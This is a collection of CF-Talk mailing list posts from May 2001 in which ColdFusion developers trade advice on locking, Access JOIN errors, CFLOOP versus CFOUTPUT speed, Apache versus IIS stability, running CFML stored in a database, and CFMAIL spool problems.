most updated info.. i actually retrieve the room capacity again from the database juz before updating... but seems still have slight chance to have multiple submission at microsec difference... i thinking of using CFLOCK to contain the read,update queries.. however.. at the admin module... i have a function that enable the administrator to update the total room capacity... so.. which means i cant use CFLOCK (..from my understanding.. CFLOCK only locks requests from same page...) Any advice?? heard that i can use stored procedure from the DB to lock the table...?? i never use stored procedure b4... so any kind soul can kindly guide me to some examples or website where i can learn?? thanx in advance... han ~~ Structure your ColdFusion code with Fusebox. Get the official book at http://www.fusionauthority.com/bkinfo.cfm Archives: http://www.mail-archive.com/cf-talk@houseoffusion.com/ Unsubscribe: http://www.houseoffusion.com/index.cfm?sidebar=lists
RE: MS Access JOIN Error
Rats, that did not do it Thanks all the same. -Original Message- From: Andy Ewings [mailto:[EMAIL PROTECTED]] Sent: Wednesday, May 09, 2001 7:32 AM To: CF-Talk Subject: RE: MS Access JOIN Error Not sure about Access but in SQL you have to specify the fact that it's an outer join so instead of LEFT JOIN use LEFT OUTER JOIN. -- Andrew Ewings Project Manager Thoughtbubble Ltd http://www.thoughtbubble.net -- United Kingdom http://www.thoughtbubble.co.uk/ Tel: +44 (0) 20 7387 8890 -- New Zealand http://www.thoughtbubble.co.nz/ Tel: +64 (0) 9 488 9131 -- The information in this email and in any attachments is confidential and intended solely for the attention and use of the named addressee(s). Any views or opinions presented are solely those of the author and do not necessarily represent those of Thoughtbubble. This information may be subject to legal, professional or other privilege and further distribution of it is strictly prohibited without our authority. If you are not the intended recipient, you are not authorised to disclose, copy, distribute, or retain this message. Please notify us on +44 (0)207 387 8890. -Original Message- From: [EMAIL PROTECTED] [mailto:[EMAIL PROTECTED]] Sent: 09 May 2001 15:37 To: CF-Talk Subject: MS Access JOIN Error I'm getting the following error when trying to do a left join from an Access database from CF. I really don't know what I'm doing. Any clues would be appreciated Error Diagnostic Information ODBC Error Code = S1000 (General error) [Microsoft][ODBC Microsoft Access Driver] Join expression not supported. SQL = SELECT MPA Log.Service/FCP/TL AS Service, MPA Log.MPA # AS MPAnumb, MPA Log.Position Title AS PositionTitle, MPA Log.Series, MPA Log.Grade, MPA Log.MPA Posted AS Open, MPA Log.Closing Date AS Close, MPA Log.Panel Reuired AS Panel, MPA Log.Cert Issued AS Cert, MPA Log.Status/Comment AS Comment, 52 log.Supervisor AS Supervisor FROM MPA log LEFT JOIN 52 log ON 'MPA log.MPA #' = '52 log.MPA #' Data Source = HRTRACKER The error occurred while processing an element with a general identifier of (CFQUERY), occupying document position (3:1) to (4:32). Date/Time: 05/09/01 10:06:18 Browser: Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0) Remote Address: 10.3.193.44 Thanks in Advance Doug Kronenberger OI National Training and Education Office Depatment of Veterans Affairs 440-526-3030 x7776 [EMAIL PROTECTED] ~~ Structure your ColdFusion code with Fusebox. Get the official book at http://www.fusionauthority.com/bkinfo.cfm Archives: http://www.mail-archive.com/cf-talk@houseoffusion.com/ Unsubscribe: http://www.houseoffusion.com/index.cfm?sidebar=lists
RE: Log files of a web attack.
What was the situation under which Apache failed? What version of 1.3? My last application used a large number of clustered servers, so it may be a while before that installation experiences any problems. Load testing proved very successful however... I put Apaches Mod_rewrite to great use. I used Netscape FastTrack and/or Enterprise for the longest time on Win32. Finally, when it too bloated and I got frustrated at its error-handling, I switched to Apache which come around to great Win32 version... IIS - Never used it, never will. I've encountered serious performance issues with Apache 1.3.x on Win32 under heavy load - it's been basically unusable with CF. On the other hand, on Windows, IIS is a relatively good web server platform. As long as you follow a few simple steps (removing unused ISAPI extensions, application of buffer overflow patches, application of ACLs, etc), it's relatively secure and stable. The only real security flaw with IIS is that it has to run as Local System, due to the way it integrates with NT authentication, so buffer overflow exploits run as root, essentially. Dave Watts, CTO, Fig Leaf Software http://www.figleaf.com/ voice: (202) 797-5496 fax: (202) 797-5444 ~~ Structure your ColdFusion code with Fusebox. Get the official book at http://www.fusionauthority.com/bkinfo.cfm Archives: http://www.mail-archive.com/cf-talk@houseoffusion.com/ Unsubscribe: http://www.houseoffusion.com/index.cfm?sidebar=lists
Re: cfloop vs cfoutput
ofcourse cfoutput, that's why it doesn't allow alot of tags to be typed into it. it's much more faster then CFLOOP, which lets you specify every cf tag you want (CFMAIL, for example) Thanks, Michael Lugassy IT/WEB Specialist Interactive Music Ltd. ~~ Structure your ColdFusion code with Fusebox. Get the official book at http://www.fusionauthority.com/bkinfo.cfm Archives: http://www.mail-archive.com/cf-talk@houseoffusion.com/ Unsubscribe: http://www.houseoffusion.com/index.cfm?sidebar=lists
Re: cfloop vs cfoutput
No question on that one, CFOUTPUT beats CFLOOP by a long shot, however sometimes you have to use CFLOOP for things, like if you wish to have a CFQUERY tag in your CFOUTPUT statement which wouldn't be possible, you'd have to use CFLOOP Gregory Harris Web Developer The Stirling Bridge Group, LLC *We Engineer Internet Business Solutions* TEL: (949) 707-1534 FAX: (949) 707-1535 - Original Message - From: Kola Oyedeji [EMAIL PROTECTED] To: CF-Talk [EMAIL PROTECTED] Sent: Wednesday, May 09, 2001 8:50 AM Subject: cfloop vs cfoutput Sorry for the crosspost (had conflicting answers from other lists) but is there a consensus on which method of looping over a query is fastest? cfloop or cfoutput.. Cheers KOLa ~~ Structure your ColdFusion code with Fusebox. Get the official book at http://www.fusionauthority.com/bkinfo.cfm Archives: http://www.mail-archive.com/cf-talk@houseoffusion.com/ Unsubscribe: http://www.houseoffusion.com/index.cfm?sidebar=lists
RE: Log files of a web attack.
What was the situation under which Apache failed? Load testing of a simple CF application on non-clustered servers. The servers became unresponsive at high load, and started generating lots of Winsock errors at the console. What version of 1.3? I don't recall exactly. I believe it was 1.3.9 or higher. My last application used a large number of clustered servers, so it may be a while before that installation experiences any problems. Load testing proved very successful however... Mileage does vary, I'm sure. I've heard that Apache 2 should run significantly better on Windows. I don't think that there's a CF module for the 2 beta yet, though. Dave Watts, CTO, Fig Leaf Software http://www.figleaf.com/ voice: (202) 797-5496 fax: (202) 797-5444 ~~ Structure your ColdFusion code with Fusebox. Get the official book at http://www.fusionauthority.com/bkinfo.cfm Archives: http://www.mail-archive.com/cf-talk@houseoffusion.com/ Unsubscribe: http://www.houseoffusion.com/index.cfm?sidebar=lists
CFLOOP question
Hi all I'm attempting to overwrite the index value of a CFLOOP from within the loop: CFLOOP FROM=1 TO=288 INDEX=insert_counter STEP=1 !--- skip gaps in case value numbering --- CFSWITCH EXPRESSION=insert_counter CFCASE VALUE= 23 CFSET insert_counter = 26 /CFCASE CFCASE VALUE=194 CFSET insert_counter = 211 /CFCASE /CFSWITCH CFSWITCH EXPRESSION=#insert_counter# CFCASE VALUE = 1 CFSET exp = 0 CFSET order_ID = 0 CFSET cust_ID = 0 CFSET category = wedding CFSET img_sm = images/gallery/Img0001s.jpg CFSET img_lg = images/gallery/Img0001.jpg CFSET addedToTable = 07/01/1999 /CFCASE CFCASE VALUE = 2 CFSET exp = 0 CFSET order_ID = 0 CFSET cust_ID = 0 CFSET category = wedding CFSET img_sm = images/gallery/altar_s.jpg CFSET img_lg = images/gallery/altar.jpg CFSET addedToTable = 01/09/2000 /CFCASE and so on /CFSWITCH /CFLOOP So far, the CFSWITCH's Expression never seems to be true. Anyone have any ideas on how to make this work? Thanks! * john * ~~ Structure your ColdFusion code with Fusebox. Get the official book at http://www.fusionauthority.com/bkinfo.cfm Archives: http://www.mail-archive.com/cf-talk@houseoffusion.com/ Unsubscribe: http://www.houseoffusion.com/index.cfm?sidebar=lists
RE: [Object Oriented CFML]
Yeh I spoke to some guy from Allaire about it a while back and he sounded pretty upbeat about the whole thing. I agree it sounds superb that you can combine pure Java and CF in one page. I guess having the ability to combine both in a page gives you the opportunity to enjoy increased development time and performance. If CF5 is written in Java (which I think it is isn't it?) then I guess there's no reason why NEO can't convert it back with no probs. Obviously it will be restirctive but the fact you can combine pure Java with CF in the page overcomes this...I wait with baited breath -- Andrew Ewings Project Manager Thoughtbubble Ltd http://www.thoughtbubble.net -- United Kingdom http://www.thoughtbubble.co.uk/ Tel: +44 (0) 20 7387 8890 -- New Zealand http://www.thoughtbubble.co.nz/ Tel: +64 (0) 9 488 9131 -- The information in this email and in any attachments is confidential and intended solely for the attention and use of the named addressee(s). Any views or opinions presented are solely those of the author and do not necessarily represent those of Thoughtbubble. This information may be subject to legal, professional or other privilege and further distribution of it is strictly prohibited without our authority. If you are not the intended recipient, you are not authorised to disclose, copy, distribute, or retain this message. Please notify us on +44 (0)207 387 8890. -Original Message- From: Garza, Jeff [mailto:[EMAIL PROTECTED]] Sent: 09 May 2001 16:45 To: CF-Talk Subject: RE: [Object Oriented CFML] If I remember correctly, Neo will actually be a full set of JSP Custom tags to convert the CFML to appropriate Java syntax (which will be compiled to a servlet class file). It's pretty much the same as using the Jrun custom tags like %jrun:sql%. This will be some really cool technology as you should also be able to intermix pure Java with CF in the same template. Heard this from a Jrun seminar a few months ago... Jeff Garza Web Developer/Webmaster Spectrum Astro, Inc. 480.892.8200 [EMAIL PROTECTED] http://www.spectrumastro.com -Original Message- From: Andy Ewings [mailto:[EMAIL PROTECTED]] Sent: Wednesday, May 09, 2001 2:44 AM To: CF-Talk Subject: RE: [Object Oriented CFML] Nick Yeh I thought that sounded pretty interesting too! I'm the first person to admint that serverlets are pretty coollightning quick if I remember correctly. What bothers/worries me is how you can convert your cfml code into a serverlet without losing anything in the translation..we'll just have to wait and see I guess. -- Andrew Ewings Project Manager Thoughtbubble Ltd http://www.thoughtbubble.net -- United Kingdom http://www.thoughtbubble.co.uk/ Tel: +44 (0) 20 7387 8890 -- New Zealand http://www.thoughtbubble.co.nz/ Tel: +64 (0) 9 488 9131 -- The information in this email and in any attachments is confidential and intended solely for the attention and use of the named addressee(s). Any views or opinions presented are solely those of the author and do not necessarily represent those of Thoughtbubble. This information may be subject to legal, professional or other privilege and further distribution of it is strictly prohibited without our authority. If you are not the intended recipient, you are not authorised to disclose, copy, distribute, or retain this message. Please notify us on +44 (0)207 387 8890. -Original Message- From: DeVoil, Nick [mailto:[EMAIL PROTECTED]] Sent: 09 May 2001 10:01 To: CF-Talk Subject: RE: [Object Oriented CFML] Can you call a JSP page as an object, pass parameters to it, have its variables and such encapsulated, etc? You can't do this with a JSP per se, but you can call Java classes from within a JSP. You can do it with a servlet. A servlet is a Java class. A JSP interpreter such as JRun turns JSP's into servlets. You can write servlets directly without the JSP stage. JRun also provides the servlet engine, i.e. the other Java classes you need to actually run the servlet. Neo, on the other hand, also turns CFML templates into Java servlets... which I think is pretty interesting. Nick ** Information in this email is confidential and may be privileged. It is intended for the addressee only. If you have received it in error, please notify the sender immediately and delete it from your system. You should not otherwise copy it, retransmit it or
RE: cfloop vs cfoutput
You can have a CFQUERY tag between CFOUTPUT/CFOUTPUT Tags I have done that many times Example: CFOUTPUT QUERY=MINE CFQUERY NAME=YOURS This that and the other thing /CFQUERY Back to Square One /CFOUTPUT -Original Message- From: Gregory Harris [mailto:[EMAIL PROTECTED]] Sent: Wednesday, May 09, 2001 12:33 PM To: CF-Talk Subject: Re: cfloop vs cfoutput No question on that one, CFOUTPUT beats CFLOOP by a long shot, however sometimes you have to use CFLOOP for things, like if you wish to have a CFQUERY tag in your CFOUTPUT statement which wouldn't be possible, you'd have to use CFLOOP Gregory Harris Web Developer The Stirling Bridge Group, LLC *We Engineer Internet Business Solutions* TEL: (949) 707-1534 FAX: (949) 707-1535 - Original Message - From: Kola Oyedeji [EMAIL PROTECTED] To: CF-Talk [EMAIL PROTECTED] Sent: Wednesday, May 09, 2001 8:50 AM Subject: cfloop vs cfoutput Sorry for the crosspost (had conflicting answers from other lists) but is there a consensus on which method of looping over a query is fastest? cfloop or cfoutput.. Cheers KOLa ~~ Structure your ColdFusion code with Fusebox. Get the official book at http://www.fusionauthority.com/bkinfo.cfm Archives: http://www.mail-archive.com/cf-talk@houseoffusion.com/ Unsubscribe: http://www.houseoffusion.com/index.cfm?sidebar=lists
RE: cfloop vs cfoutput
sure? I just remembered where I read that cfloops are more efficient than cfoutput with queries, in ben forta's coldfusion developers study guide, if that helps clarify anything mark If there is no notable difference then i suppose it doesnt matter! Kola -Original Message- From: Gregory Harris [mailto:[EMAIL PROTECTED]] Sent: 09 May 2001 17:33 To: CF-Talk Subject: Re: cfloop vs cfoutput No question on that one, CFOUTPUT beats CFLOOP by a long shot, however sometimes you have to use CFLOOP for things, like if you wish to have a CFQUERY tag in your CFOUTPUT statement which wouldn't be possible, you'd have to use CFLOOP Gregory Harris Web Developer The Stirling Bridge Group, LLC *We Engineer Internet Business Solutions* TEL: (949) 707-1534 FAX: (949) 707-1535 - Original Message - From: Kola Oyedeji [EMAIL PROTECTED] To: CF-Talk [EMAIL PROTECTED] Sent: Wednesday, May 09, 2001 8:50 AM Subject: cfloop vs cfoutput Sorry for the crosspost (had conflicting answers from other lists) but is there a consensus on which method of looping over a query is fastest? cfloop or cfoutput.. Cheers KOLa ~~ Structure your ColdFusion code with Fusebox. Get the official book at http://www.fusionauthority.com/bkinfo.cfm Archives: http://www.mail-archive.com/cf-talk@houseoffusion.com/ Unsubscribe: http://www.houseoffusion.com/index.cfm?sidebar=lists
Re: cfloop vs cfoutput
Well thats a bit misleadingthe more processing you do within a loop, the slower its going to be, no matter the looping method. For pure looping, I remember hearing from somewhere that CFLOOP was actually faster, all other things being equal. I remember being somewhat surprised by this. - Original Message - From: Michael Lugassy [EMAIL PROTECTED] To: CF-Talk [EMAIL PROTECTED] Sent: Wednesday, May 09, 2001 12:22 PM Subject: Re: cfloop vs cfoutput ofcourse cfoutput, that's why it doesn't allow alot of tags to be typed into it. it's much more faster then CFLOOP, which lets you specify every cf tag you want (CFMAIL, for example) Thanks, Michael Lugassy IT/WEB Specialist Interactive Music Ltd. ~~ Structure your ColdFusion code with Fusebox. Get the official book at http://www.fusionauthority.com/bkinfo.cfm Archives: http://www.mail-archive.com/cf-talk@houseoffusion.com/ Unsubscribe: http://www.houseoffusion.com/index.cfm?sidebar=lists
Re: cfloop vs cfoutput
Hello Kola, This is from the Certified ColdFusion Developer Study Guide: pg 37 Tip #1 crit_quote The function of the query loop is the same as using cfoutput with a query attribute. For performance reasons, use a Query loop rather than a CFOUTPUT query=qAny loop. Before ColdFusion 4.x, the CFoutput query=qAny query loop performed better. Generally speaking you should use a cfloop with a query attribute when doing all, or mostly, processing in the loop. If there is nothing in the loop but display, use cfoutput /crit_quote So what's right? -- Best regards, Critter --- Wednesday, May 09, 2001, 11:50:56 S2k, you wrote: KO Sorry for the crosspost (had conflicting answers from other lists) KO but is there a consensus on which method of looping over a query is fastest? KO cfloop or cfoutput.. KO Cheers KO KOLa KO ~~ Structure your ColdFusion code with Fusebox. Get the official book at http://www.fusionauthority.com/bkinfo.cfm Archives: http://www.mail-archive.com/cf-talk@houseoffusion.com/ Unsubscribe: http://www.houseoffusion.com/index.cfm?sidebar=lists
RE: [Object Oriented CFML]
CF5 is, I believe, the last of the CF engines based on the C++ codebase. There are parts of CF5 (like parts of the Administrator) that are java servlet based. Jeff Garza Web Developer/Webmaster Spectrum Astro, Inc. 480.892.8200 [EMAIL PROTECTED] http://www.spectrumastro.com -Original Message- From: Andy Ewings [mailto:[EMAIL PROTECTED]] Sent: Wednesday, May 09, 2001 9:58 AM To: CF-Talk Subject: RE: [Object Oriented CFML] Yeh I spoke to some guy from Allaire about it a while back and he sounded pretty upbeat about the whole thing. I agree it sounds superb that you can combine pure Java and CF in one page. I guess having the ability to combine both in a page gives you the opportunity to enjoy increased development time and performance. If CF5 is written in Java (which I think it is isn't it?) then I guess there's no reason why NEO can't convert it back with no probs. Obviously it will be restirctive but the fact you can combine pure Java with CF in the page overcomes this...I wait with baited breath -- Andrew Ewings Project Manager Thoughtbubble Ltd http://www.thoughtbubble.net -- United Kingdom http://www.thoughtbubble.co.uk/ Tel: +44 (0) 20 7387 8890 -- New Zealand http://www.thoughtbubble.co.nz/ Tel: +64 (0) 9 488 9131 -- The information in this email and in any attachments is confidential and intended solely for the attention and use of the named addressee(s). Any views or opinions presented are solely those of the author and do not necessarily represent those of Thoughtbubble. This information may be subject to legal, professional or other privilege and further distribution of it is strictly prohibited without our authority. If you are not the intended recipient, you are not authorised to disclose, copy, distribute, or retain this message. Please notify us on +44 (0)207 387 8890. -Original Message- From: Garza, Jeff [mailto:[EMAIL PROTECTED]] Sent: 09 May 2001 16:45 To: CF-Talk Subject: RE: [Object Oriented CFML] If I remember correctly, Neo will actually be a full set of JSP Custom tags to convert the CFML to appropriate Java syntax (which will be compiled to a servlet class file). It's pretty much the same as using the Jrun custom tags like %jrun:sql%. This will be some really cool technology as you should also be able to intermix pure Java with CF in the same template. Heard this from a Jrun seminar a few months ago... Jeff Garza Web Developer/Webmaster Spectrum Astro, Inc. 480.892.8200 [EMAIL PROTECTED] http://www.spectrumastro.com -Original Message- From: Andy Ewings [mailto:[EMAIL PROTECTED]] Sent: Wednesday, May 09, 2001 2:44 AM To: CF-Talk Subject: RE: [Object Oriented CFML] Nick Yeh I thought that sounded pretty interesting too! I'm the first person to admint that serverlets are pretty coollightning quick if I remember correctly. What bothers/worries me is how you can convert your cfml code into a serverlet without losing anything in the translation..we'll just have to wait and see I guess. -- Andrew Ewings Project Manager Thoughtbubble Ltd http://www.thoughtbubble.net -- United Kingdom http://www.thoughtbubble.co.uk/ Tel: +44 (0) 20 7387 8890 -- New Zealand http://www.thoughtbubble.co.nz/ Tel: +64 (0) 9 488 9131 -- The information in this email and in any attachments is confidential and intended solely for the attention and use of the named addressee(s). Any views or opinions presented are solely those of the author and do not necessarily represent those of Thoughtbubble. This information may be subject to legal, professional or other privilege and further distribution of it is strictly prohibited without our authority. If you are not the intended recipient, you are not authorised to disclose, copy, distribute, or retain this message. Please notify us on +44 (0)207 387 8890. -Original Message- From: DeVoil, Nick [mailto:[EMAIL PROTECTED]] Sent: 09 May 2001 10:01 To: CF-Talk Subject: RE: [Object Oriented CFML] Can you call a JSP page as an object, pass parameters to it, have its variables and such encapsulated, etc? You can't do this with a JSP per se, but you can call Java classes from within a JSP. You can do it with a servlet. A servlet is a Java class. A JSP interpreter such as JRun turns JSP's into servlets. You can write servlets directly without the JSP stage. JRun also provides the servlet engine, i.e. the other Java classes you need to actually run the servlet. Neo, on
PageMaker/Quark document generated from Database?
I've got an Access database full of information to list in in a directory which is to be printed at a print shop. So I need the database to populate my directory pages. I'll probably need to use Quark or PageMaker. Is one or the other better suited for this endeavor? I'm also a ColdFusion programmer, so I could conceivably script them myself, though that seems difficult, and I don't know anything about Quark or PageMaker markup. I've heard of McResearch.com's LinkUP and EMSoftware.com's Xcatalog, for Quark but I haven't heard any reviews or comparisons. Could anyone give me any advice or pointers? Any tips/pointers are appreciated. Thanks, Jamie ~~ Structure your ColdFusion code with Fusebox. Get the official book at http://www.fusionauthority.com/bkinfo.cfm Archives: http://www.mail-archive.com/cf-talk@houseoffusion.com/ Unsubscribe: http://www.houseoffusion.com/index.cfm?sidebar=lists
Can I run CFML code that I pull form my database?
OK, here is what I am doing. I am executing a stored procedure which grabs some code from my SQL server and then displays it on the page. Mostly what this is for is my forms, which I would like to keep in the DB so I can easily change them. The problem being that the CFFORM tag as well as my CFINPUT tags do not execute when doing this and it displays the tag CFFORM etc in the browser. I am not good at explaining things so if I did not do a good enough job trying to ask this question, please let me know. Thanks for all that will have a solution that I can implement. Robert J. Bailey (646) 526-4536 ~~ Structure your ColdFusion code with Fusebox. Get the official book at http://www.fusionauthority.com/bkinfo.cfm Archives: http://www.mail-archive.com/cf-talk@houseoffusion.com/ Unsubscribe: http://www.houseoffusion.com/index.cfm?sidebar=lists
ColdFusion Query Windows NT Error 1450
I'm having a problem with a query that displays the results in a CFGRID. The query works on two different servers with no problems. Now, I'm trying the query on NT 4.0 machine and getting a blank page. A Error number 1450 occurred while attempting to write the reply to the web server. entry is recorded in the server log. I found some information about the error on the Allaire Support forums. The fix was to store client variables in a data source. I'm doing this already. Any ideas? The ColdFusion Server version is 4.5.1 SP2. Jack Tumlin Vice President Business Development Millennium Software, Inc. The Software Solutions Company [EMAIL PROTECTED] www.millsoftinc.com ~~ Structure your ColdFusion code with Fusebox. Get the official book at http://www.fusionauthority.com/bkinfo.cfm Archives: http://www.mail-archive.com/cf-talk@houseoffusion.com/ Unsubscribe: http://www.houseoffusion.com/index.cfm?sidebar=lists
default spool file
I had a problem with cfmail where it kept sending the same email over and over again. I had to stop the CF service. I checked the spool directory and found the following spool file: c:\CFusion\Mail\Spool\2A.CFMAIL=1 That was the name of the email that was beeing sent over and over. What is the default value for this file? Thanks, Sebastian ~~ Structure your ColdFusion code with Fusebox. Get the official book at http://www.fusionauthority.com/bkinfo.cfm Archives: http://www.mail-archive.com/cf-talk@houseoffusion.com/ Unsubscribe: http://www.houseoffusion.com/index.cfm?sidebar=lists
Re: cfloop vs cfoutput
Ok, bad example (I recall in an earlier version that this was impossible though, to embed CFQUERY in CFOUTPUT), but some tags still, such as the before mentioned CFMAIL tag. Gregory Harris Web Developer The Stirling Bridge Group, LLC *We Engineer Internet Business Solutions* TEL: (949) 707-1534 FAX: (949) 707-1535 - Original Message - From: Adkins, Randy [EMAIL PROTECTED] To: CF-Talk [EMAIL PROTECTED] Sent: Wednesday, May 09, 2001 10:08 AM Subject: RE: cfloop vs cfoutput You can have a CFQUERY tag between CFOUTPUT/CFOUTPUT Tags I have done that many times Example: CFOUTPUT QUERY=MINE CFQUERY NAME=YOURS This that and the other thing /CFQUERY Back to Square One /CFOUTPUT -Original Message- From: Gregory Harris [mailto:[EMAIL PROTECTED]] Sent: Wednesday, May 09, 2001 12:33 PM To: CF-Talk Subject: Re: cfloop vs cfoutput No question on that one, CFOUTPUT beats CFLOOP by a long shot, however sometimes you have to use CFLOOP for things, like if you wish to have a CFQUERY tag in your CFOUTPUT statement which wouldn't be possible, you'd have to use CFLOOP Gregory Harris Web Developer The Stirling Bridge Group, LLC *We Engineer Internet Business Solutions* TEL: (949) 707-1534 FAX: (949) 707-1535 - Original Message - From: Kola Oyedeji [EMAIL PROTECTED] To: CF-Talk [EMAIL PROTECTED] Sent: Wednesday, May 09, 2001 8:50 AM Subject: cfloop vs cfoutput Sorry for the crosspost (had conflicting answers from other lists) but is there a consensus on which method of looping over a query is fastest? cfloop or cfoutput.. Cheers KOLa ~~ Structure your ColdFusion code with Fusebox. Get the official book at http://www.fusionauthority.com/bkinfo.cfm Archives: http://www.mail-archive.com/cf-talk@houseoffusion.com/ Unsubscribe: http://www.houseoffusion.com/index.cfm?sidebar=lists
Re: cfloop vs cfoutput
And now to inject a little more uncertainty... Just a couple of months ago an Allaire consultant told me that cfloop was the second slowest tag after cfmail. Always use cfoutput to output queries. I imagine he was speaking relatively though. I can think of some really slow tags. jon - Original Message - From: Critter [EMAIL PROTECTED] To: CF-Talk [EMAIL PROTECTED] Sent: Wednesday, May 09, 2001 1:37 PM Subject: Re: cfloop vs cfoutput Hello Kola, This is from the Certified ColdFusion Developer Study Guide: pg 37 Tip #1 crit_quote The function of the query loop is the same as using cfoutput with a query attribute. For performance reasons, use a Query loop rather than a CFOUTPUT query=qAny loop. Before ColdFusion 4.x, the CFoutput query=qAny query loop performed better. Generally speaking you should use a cfloop with a query attribute when doing all, or mostly, processing in the loop. If there is nothing in the loop but display, use cfoutput /crit_quote So what's right? -- Best regards, Critter --- Wednesday, May 09, 2001, 11:50:56 S2k, you wrote: KO Sorry for the crosspost (had conflicting answers from other lists) KO but is there a consensus on which method of looping over a query is fastest? KO cfloop or cfoutput.. KO Cheers KO KOLa KO ~~ Structure your ColdFusion code with Fusebox. Get the official book at http://www.fusionauthority.com/bkinfo.cfm Archives: http://www.mail-archive.com/cf-talk@houseoffusion.com/ Unsubscribe: http://www.houseoffusion.com/index.cfm?sidebar=lists
Re: cfloop vs cfoutput
I think that has made it into Hals Helms worst practices list. Learn to use SQL joins and this is never necessary. jon - Original Message - From: Adkins, Randy [EMAIL PROTECTED] To: CF-Talk [EMAIL PROTECTED] Sent: Wednesday, May 09, 2001 1:08 PM Subject: RE: cfloop vs cfoutput You can have a CFQUERY tag between CFOUTPUT/CFOUTPUT Tags I have done that many times Example: CFOUTPUT QUERY=MINE CFQUERY NAME=YOURS This that and the other thing /CFQUERY Back to Square One /CFOUTPUT -Original Message- From: Gregory Harris [mailto:[EMAIL PROTECTED]] Sent: Wednesday, May 09, 2001 12:33 PM To: CF-Talk Subject: Re: cfloop vs cfoutput No question on that one, CFOUTPUT beats CFLOOP by a long shot, however sometimes you have to use CFLOOP for things, like if you wish to have a CFQUERY tag in your CFOUTPUT statement which wouldn't be possible, you'd have to use CFLOOP Gregory Harris Web Developer The Stirling Bridge Group, LLC *We Engineer Internet Business Solutions* TEL: (949) 707-1534 FAX: (949) 707-1535 - Original Message - From: Kola Oyedeji [EMAIL PROTECTED] To: CF-Talk [EMAIL PROTECTED] Sent: Wednesday, May 09, 2001 8:50 AM Subject: cfloop vs cfoutput Sorry for the crosspost (had conflicting answers from other lists) but is there a consensus on which method of looping over a query is fastest? cfloop or cfoutput.. Cheers KOLa ~~ Structure your ColdFusion code with Fusebox. Get the official book at http://www.fusionauthority.com/bkinfo.cfm Archives: http://www.mail-archive.com/cf-talk@houseoffusion.com/ Unsubscribe: http://www.houseoffusion.com/index.cfm?sidebar=lists
Re: Can I run CFML code that I pull form my database?
It will work if you change to regular HTML FORM tags FORM... INPUT... etc. - Original Message - From: Robert J. Bailey [EMAIL PROTECTED] To: CF-Talk [EMAIL PROTECTED] Sent: Wednesday, May 09, 2001 2:27 PM Subject: Can I run CFML code that I pull form my database? OK, here is what I am doing. I am executing a stored procedure which grabs some code from my SQL server and then displays it on the page. Mostly what this is for is my forms, which I would like to keep in the DB so I can easily change them. The problem being that the CFFORM tag as well as my CFINPUT tags do not execute when doing this and it displays the tag CFFORM etc in the browser. I am not good at explaining things so if I did not do a good enough job trying to ask this question, please let me know. Thanks for all that will have a solution that I can implement. Robert J. Bailey (646) 526-4536 ~~ Structure your ColdFusion code with Fusebox. Get the official book at http://www.fusionauthority.com/bkinfo.cfm Archives: http://www.mail-archive.com/cf-talk@houseoffusion.com/ Unsubscribe: http://www.houseoffusion.com/index.cfm?sidebar=lists
RE: PageMaker/Quark document generated from Database?
You defiantly want Quark, and to add to the confusion, you might look at Meadows Information's offerings (www.meadowsinfo.com). I reviewed the three and decided on Meadows because they seemed like they would be more responsive to tech questions (and price was less). When I used it, they were planning on an ODBC link (they could only use text data files output from DBs). There are also a few other higher end tools. If I remember, LinkUP is AppleScript compatible, a strong plus. Can you export the data into a flat file and import it into Quark (like a one time import), or do you want to establish a data flow? Most printers cringe at the thought of Pagemaker. If you have generated PDF from CF, you might send a sample to your print shop and see if they can use the PDF generated from CF. Let me know if you need any other advice. Paul Sizemore Finish Line 3308 N Mitthoeffer Rd Indianapolis, IN 46235 W: 317-899-1022 ext 3516 -Original Message- From: Jamie Jackson [mailto:[EMAIL PROTECTED]] Sent: Wednesday, May 09, 2001 12:57 PM To: CF-Talk Subject: PageMaker/Quark document generated from Database? I've got an Access database full of information to list in in a directory which is to be printed at a print shop. So I need the database to populate my directory pages. I'll probably need to use Quark or PageMaker. Is one or the other better suited for this endeavor? I'm also a ColdFusion programmer, so I could conceivably script them myself, though that seems difficult, and I don't know anything about Quark or PageMaker markup. I've heard of McResearch.com's LinkUP and EMSoftware.com's Xcatalog, for Quark but I haven't heard any reviews or comparisons. Could anyone give me any advice or pointers? Any tips/pointers are appreciated. Thanks, Jamie ~~ Structure your ColdFusion code with Fusebox. Get the official book at http://www.fusionauthority.com/bkinfo.cfm Archives: http://www.mail-archive.com/cf-talk@houseoffusion.com/ Unsubscribe: http://www.houseoffusion.com/index.cfm?sidebar=lists
Re: Can I run CFML code that I pull form my database?
Wrap the string from SQL Server in an #Eval()# statement. It'll take a bit of escaping a whatnot, but it should work. -- Billy Cravens HR Web Development, Sabre [EMAIL PROTECTED] Robert J. Bailey wrote: OK, here is what I am doing. I am executing a stored procedure which grabs some code from my SQL server and then displays it on the page. Mostly what this is for is my forms, which I would like to keep in the DB so I can easily change them. The problem being that the CFFORM tag as well as my CFINPUT tags do not execute when doing this and it displays the tag CFFORM etc in the browser. I am not good at explaining things so if I did not do a good enough job trying to ask this question, please let me know. Thanks for all that will have a solution that I can implement. Robert J. Bailey (646) 526-4536 ~~ Structure your ColdFusion code with Fusebox. Get the official book at http://www.fusionauthority.com/bkinfo.cfm Archives: http://www.mail-archive.com/cf-talk@houseoffusion.com/ Unsubscribe: http://www.houseoffusion.com/index.cfm?sidebar=lists
RE: Can I run CFML code that I pull form my database?
yes, I understand that, but is there anyway I can use any CFML within this that you can think of at all? Thanks! Robert J. Bailey (646) 526-4536 -Original Message- From: Dave f [mailto:[EMAIL PROTECTED]] Sent: Wednesday, May 09, 2001 3:36 PM To: CF-Talk Subject: Re: Can I run CFML code that I pull form my database? It will work if you change to regular HTML FORM tags FORM... INPUT... etc. - Original Message - From: Robert J. Bailey [EMAIL PROTECTED] To: CF-Talk [EMAIL PROTECTED] Sent: Wednesday, May 09, 2001 2:27 PM Subject: Can I run CFML code that I pull form my database? OK, here is what I am doing. I am executing a stored procedure which grabs some code from my SQL server and then displays it on the page. Mostly what this is for is my forms, which I would like to keep in the DB so I can easily change them. The problem being that the CFFORM tag as well as my CFINPUT tags do not execute when doing this and it displays the tag CFFORM etc in the browser. I am not good at explaining things so if I did not do a good enough job trying to ask this question, please let me know. Thanks for all that will have a solution that I can implement. Robert J. Bailey (646) 526-4536 ~~ Structure your ColdFusion code with Fusebox. Get the official book at http://www.fusionauthority.com/bkinfo.cfm Archives: http://www.mail-archive.com/cf-talk@houseoffusion.com/ Unsubscribe: http://www.houseoffusion.com/index.cfm?sidebar=lists
Pinging an email address
